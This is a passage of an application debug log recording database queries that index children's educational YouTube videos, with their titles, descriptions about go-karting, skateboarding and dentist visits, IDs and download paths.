\n\nBuckle up as Ozzie & Nomes learn how to drive a go-kart, steer around the track, tackle the corners and race towards the finish line. Along the way, they'll discover how go-kart racing works and why following the rules and staying safe on the track is so important.\n\nThen it's race time!\n\nWill Ozzie speed to victory? Can Nomes race past him and take home the win? There's only one way to find out β€” πŸ† The Ozzie vs Nomes Trophy!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love cars, racing, machines and exciting new adventures.\n\nKids will learn about:\nβ€’ How go-kart racing works\nβ€’ How to steer and control a go-kart\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and good sportsmanship\n\nβ€”\n\nTopics kids will learn about in this video:\n\nβ€’ Go Karting For Kids\nβ€’ Go Kart Racing For Kids\nβ€’ eKarting For Kids\nβ€’ How Go Karts Work\nβ€’ Racing For Kids\nβ€’ Go Kart Safety For Kids\nβ€’ Sportsmanship For Kids\n\nβ€”\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke!\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #GoKartRacing #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen", "Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids", 1888, false, "d-3wic1qtVM", "https://www.youtube.com/watch?v=d-3wic1qtVM", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-23 - Ozzie vs Nomes Go Kart Challenge πŸ†πŸŽοΈ Who Will Win the Trophy? | Go Karting for Kids.mp4", false, 7, ~U[2026-08-23 05:00:27Z]] 13:17:01.615 [debug] QUERY OK source="sources" db=0.7ms idle=20.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.617 [debug] QUERY OK source="media_items" db=1.4ms idle=14.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-19 14:00:26Z], 7] 13:17:01.620 [debug] QUERY OK source="media_items" db=1.8ms idle=12.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready to GO, GO, GO with Ozzie & Nomes!\n\nBuckle up for a super-fun Go Kart Racing Song for Kids as Ozzie & Nomes hit the eKarting track and race to see who will become the champion!\n\nZoom around the track, steer through the corners and race towards the finish line as you sing, dance and cheer along. It’s Ozzie vs Nomes β€” but who will take home the trophy?\n\nWill Ozzie race to victory? Can Nomes speed past him and take the win? There’s only one way to find out!\n\nMusic is a fun way to learn, move and discover new things. So buckle up, get ready to race and shout it loud:\n\nGO KART, GO GO GO!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and high-speed fun.\n\nKids will learn about:\nβ€’ How go kart racing works\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ go karting for kids\nβ€’ go kart song for kids\nβ€’ eKarting for kids\nβ€’ racing song for kids\nβ€’ go kart racing for kids\nβ€’ go karts explained for kids\nβ€’ racing for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen. \n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke! \nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!", "ebfc71ee-b02b-4046-8106-45662281c90d", 153, false, "OWjrZPxsrE4", "https://www.youtube.com/watch?v=OWjrZPxsrE4", 5, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-19 - GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!.mp4", false, false, false, 7, [], 98, ~U[2026-08-19 14:00:26Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Get ready to GO, GO, GO with Ozzie & Nomes!\n\nBuckle up for a super-fun Go Kart Racing Song for Kids as Ozzie & Nomes hit the eKarting track and race to see who will become the champion!\n\nZoom around the track, steer through the corners and race towards the finish line as you sing, dance and cheer along. It’s Ozzie vs Nomes β€” but who will take home the trophy?\n\nWill Ozzie race to victory? Can Nomes speed past him and take the win? There’s only one way to find out!\n\nMusic is a fun way to learn, move and discover new things. So buckle up, get ready to race and shout it loud:\n\nGO KART, GO GO GO!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and high-speed fun.\n\nKids will learn about:\nβ€’ How go kart racing works\nβ€’ Staying safe on a racing track\nβ€’ Friendly competition and sportsmanship\n\nTopics kids will learn about in this video:\nβ€’ go karting for kids\nβ€’ go kart song for kids\nβ€’ eKarting for kids\nβ€’ racing song for kids\nβ€’ go kart racing for kids\nβ€’ go karts explained for kids\nβ€’ racing for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen. \n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nShare the Stoke! \nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#GoKarting #EKarting #OzzieVsNomes #OzzieAndNomes #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!", 153, false, "OWjrZPxsrE4", "https://www.youtube.com/watch?v=OWjrZPxsrE4", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-19 - GO KART GO GO GO! 🏎️🎡 | Ozzie vs Nomes Go Kart Racing Song for Kids!.mp4", false, 7, ~U[2026-08-19 14:00:26Z]] 13:17:01.621 [debug] QUERY OK source="sources" db=0.9ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.625 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=8.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 05:00:18Z], 7] 13:17:01.630 [debug] QUERY OK source="media_items" db=3.3ms queue=0.1ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Grab your skateboard and Share the Stoke with Ozzie & Nomes! πŸ›ΉπŸ€™\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIn this action-packed skateboarding adventure, Ozzie teams up with Nomes to learn how to skateboard β€” from the very first step onto the board to trying some awesome beginner tricks!\n\nJoin Ozzie & Nomes at the skatepark as they learn how to stand on a skateboard, find their balance, push, turn and stop safely. Then it's time to build some confidence and give a few tricks a go!\n\nCan Ozzie master the basics and land a trick? Come skate with us and find out!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love skateboarding, sport, movement and learning new skills.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push, turn and stop safely\nβ€’ Basic skateboarding skills and beginner tricks\nβ€’ Building confidence through practice and giving things a go\n\nTopics kids will learn about in this video:\n\nβ€’ Skateboarding For Kids\nβ€’ Learn To Skateboard For Kids\nβ€’ Skateboarding Basics For Kids\nβ€’ How To Ride A Skateboard\nβ€’ Skateboard Tricks For Beginners\nβ€’ Skateboard Balance For Kids\nβ€’ Skatepark Skills For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke", "b214452e-fa0e-4f7a-b371-9cb0a5637094", 2100, false, "8MpUQxmQ304", "https://www.youtube.com/watch?v=8MpUQxmQ304", 6, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-16 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke.mp4", false, false, false, 7, [], 98, ~U[2026-08-16 05:00:18Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Grab your skateboard and Share the Stoke with Ozzie & Nomes! πŸ›ΉπŸ€™\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nIn this action-packed skateboarding adventure, Ozzie teams up with Nomes to learn how to skateboard β€” from the very first step onto the board to trying some awesome beginner tricks!\n\nJoin Ozzie & Nomes at the skatepark as they learn how to stand on a skateboard, find their balance, push, turn and stop safely. Then it's time to build some confidence and give a few tricks a go!\n\nCan Ozzie master the basics and land a trick? Come skate with us and find out!\n\nThis fun and educational episode is perfect for curious kids aged 2–10 who love skateboarding, sport, movement and learning new skills.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push, turn and stop safely\nβ€’ Basic skateboarding skills and beginner tricks\nβ€’ Building confidence through practice and giving things a go\n\nTopics kids will learn about in this video:\n\nβ€’ Skateboarding For Kids\nβ€’ Learn To Skateboard For Kids\nβ€’ Skateboarding Basics For Kids\nβ€’ How To Ride A Skateboard\nβ€’ Skateboard Tricks For Beginners\nβ€’ Skateboard Balance For Kids\nβ€’ Skatepark Skills For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke", 2100, false, "8MpUQxmQ304", "https://www.youtube.com/watch?v=8MpUQxmQ304", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-16 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Skateboarding for Kids | Share the Stoke.mp4", false, 7, ~U[2026-08-16 05:00:18Z]] 13:17:01.634 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=13.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.638 [debug] QUERY OK source="media_items" db=3.2ms queue=0.2ms idle=16.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-12 21:00:38Z], 7] 13:17:01.644 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=17.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["πŸ›ΉπŸ€™ Grab your skateboard and Share the Stoke with Ozzie & Nomes!\n\nSing, move and skate along with this fun Skateboarding Song for Kids as Ozzie & Nomes learn the basics of riding a skateboard. From standing on the board and finding your balance to pushing, turning, stopping and trying some awesome beginner tricks, there’s heaps to discover!\n\nGet ready to move your body, test your balance and sing along as Ozzie & Nomes hit the skatepark together.\n\nCan they master the basics and land some tricks? Grab your board and come skate with us to find out!\n\nMusic is a fun way to learn, move and build confidence. So get ready to Share the Stoke and learn how to skateboard with Ozzie & Nomes!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push\nβ€’ Basic skateboarding skills and tricks\n\nTopics kids will learn about in this video:\nβ€’ skateboarding for kids\nβ€’ skateboard song for kids\nβ€’ learn to skateboard for kids\nβ€’ skateboarding basics for kids\nβ€’ skateboard tricks for beginners\nβ€’ how to ride a skateboard\nβ€’ skateboarding for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids", "6cb4f78b-11d1-48dd-9a9a-6cae2f13dc70", 203, false, "-CunfQZh-vs", "https://www.youtube.com/watch?v=-CunfQZh-vs", 7, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-12 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids.mp4", false, false, false, 7, [], 98, ~U[2026-08-12 21:00:38Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "πŸ›ΉπŸ€™ Grab your skateboard and Share the Stoke with Ozzie & Nomes!\n\nSing, move and skate along with this fun Skateboarding Song for Kids as Ozzie & Nomes learn the basics of riding a skateboard. From standing on the board and finding your balance to pushing, turning, stopping and trying some awesome beginner tricks, there’s heaps to discover!\n\nGet ready to move your body, test your balance and sing along as Ozzie & Nomes hit the skatepark together.\n\nCan they master the basics and land some tricks? Grab your board and come skate with us to find out!\n\nMusic is a fun way to learn, move and build confidence. So get ready to Share the Stoke and learn how to skateboard with Ozzie & Nomes!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ How to stand and balance on a skateboard\nβ€’ How to push\nβ€’ Basic skateboarding skills and tricks\n\nTopics kids will learn about in this video:\nβ€’ skateboarding for kids\nβ€’ skateboard song for kids\nβ€’ learn to skateboard for kids\nβ€’ skateboarding basics for kids\nβ€’ skateboard tricks for beginners\nβ€’ how to ride a skateboard\nβ€’ skateboarding for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nFollow Nomes πŸ’œπŸ©·\nhttps://www.instagram.com/nomes_forkids\n\nβ€”\n\n#SkateboardingForKids #LearnToSkateboard #ShareTheStoke #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids", 203, false, "-CunfQZh-vs", "https://www.youtube.com/watch?v=-CunfQZh-vs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-12 - Learn to Skateboard with Ozzie & Nomes πŸ›Ή Fun Skateboarding Song for Kids.mp4", false, 7, ~U[2026-08-12 21:00:38Z]] 13:17:01.645 [debug] QUERY OK source="sources" db=0.5ms idle=19.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.646 [debug] QUERY OK source="media_items" db=1.2ms idle=15.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-09 05:00:24Z], 7] 13:17:01.648 [debug] QUERY OK source="media_items" db=1.1ms idle=12.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🦷 Get Ready for the Dentist!\n\nIs your child getting ready for their first dental visit? Join Ozzie for a fun and educational adventure that helps kids feel excited and confident about going to the dentist!\n\nIn this episode, children will:\n\nπŸͺ₯ Learn what happens during a dental check-up.\n😁 Discover why healthy teeth are so important.\n✨ Meet friendly dentists and dental tools.\n🦷 Learn how to brush and care for their teeth.\n😊 Build confidence for their first trip to the dentist.\n\nPerfect for toddlers, preschoolers and young children, this fun episode helps take the mystery out of visiting the dentist while encouraging healthy habits and big, happy smiles!\n\nπŸ‘ Don't forget to LIKE, SUBSCRIBE and Stay Keen!\n\n#DentistForKids #FirstDentistVisit #HealthyTeeth #KidsLearning #OzzieForKids #Preschool #Toddlers\n\nGrab some fun Ozzie merch on our website: https://ozzieforkids.com/merch\n\n–\n\nG'day kids, Ozzie here – Australian kid’s entertainer and creator of educational video content. Designed to entertain, excite, engage and educate, I encourage you to keep learning and 'Stay Keen'!\n\nThanks so much for watching! Make sure you SUBSCRIBE to see more fun and educational videos for kids. https://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand New Ozzie episode released every Sunday https://www.youtube.com/OzzieForKids\n\nFollow Us On Social Media \nβ€’ Instagram - https://www.instagram.com/ozzie_forkids\nβ€’ Facebook - https://www.facebook.com/ozzieforkids", "Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit", "38028691-1280-43d5-9ca8-8fcf45f70cb2", 1231, false, "rfVyYG-pXMo", "https://www.youtube.com/watch?v=rfVyYG-pXMo", 8, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-09 - Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit.mp4", false, false, false, 7, [], 98, ~U[2026-08-09 05:00:24Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "🦷 Get Ready for the Dentist!\n\nIs your child getting ready for their first dental visit? Join Ozzie for a fun and educational adventure that helps kids feel excited and confident about going to the dentist!\n\nIn this episode, children will:\n\nπŸͺ₯ Learn what happens during a dental check-up.\n😁 Discover why healthy teeth are so important.\n✨ Meet friendly dentists and dental tools.\n🦷 Learn how to brush and care for their teeth.\n😊 Build confidence for their first trip to the dentist.\n\nPerfect for toddlers, preschoolers and young children, this fun episode helps take the mystery out of visiting the dentist while encouraging healthy habits and big, happy smiles!\n\nπŸ‘ Don't forget to LIKE, SUBSCRIBE and Stay Keen!\n\n#DentistForKids #FirstDentistVisit #HealthyTeeth #KidsLearning #OzzieForKids #Preschool #Toddlers\n\nGrab some fun Ozzie merch on our website: https://ozzieforkids.com/merch\n\n–\n\nG'day kids, Ozzie here – Australian kid’s entertainer and creator of educational video content. Designed to entertain, excite, engage and educate, I encourage you to keep learning and 'Stay Keen'!\n\nThanks so much for watching! Make sure you SUBSCRIBE to see more fun and educational videos for kids. https://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand New Ozzie episode released every Sunday https://www.youtube.com/OzzieForKids\n\nFollow Us On Social Media \nβ€’ Instagram - https://www.instagram.com/ozzie_forkids\nβ€’ Facebook - https://www.facebook.com/ozzieforkids", "Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit", 1231, false, "rfVyYG-pXMo", "https://www.youtube.com/watch?v=rfVyYG-pXMo", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-08-09 - Get Ready for the Dentist & Learn About Healthy Teeth! Prepare Kids for Their First Dental Visit.mp4", false, 7, ~U[2026-08-09 05:00:24Z]] 13:17:01.649 [debug] QUERY OK source="sources" db=0.8ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.653 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=6.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-05 21:00:10Z], 7] 13:17:01.658 [debug] QUERY OK source="media_items" db=4.1ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["It's time for a big smile with Ozzie's First Time at the Dentist Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover what happens during a visit to the dentist. From sitting in the dentist's chair to having your teeth counted and cleaned, this fun sing-along helps make a first trip to the dentist exciting instead of scary!\n\nGet ready to brush, smile and sing along as we learn how dentists help keep our teeth healthy and strong.\n\nMusic helps us learn, build confidence and remember important healthy habits. So open wide and join Ozzie for a fun dental adventure!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\n\nβ€’ What happens at the dentist\nβ€’ How to keep teeth clean and healthy\nβ€’ Why regular dental check-ups are important\n\nTopics kids will learn about in this video:\n\ndentist for kids\ndentist song for kids\nfirst dentist visit for kids\nbrushing teeth for kids\nhealthy teeth for kids\ndentist explained for kids\ndental health for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie 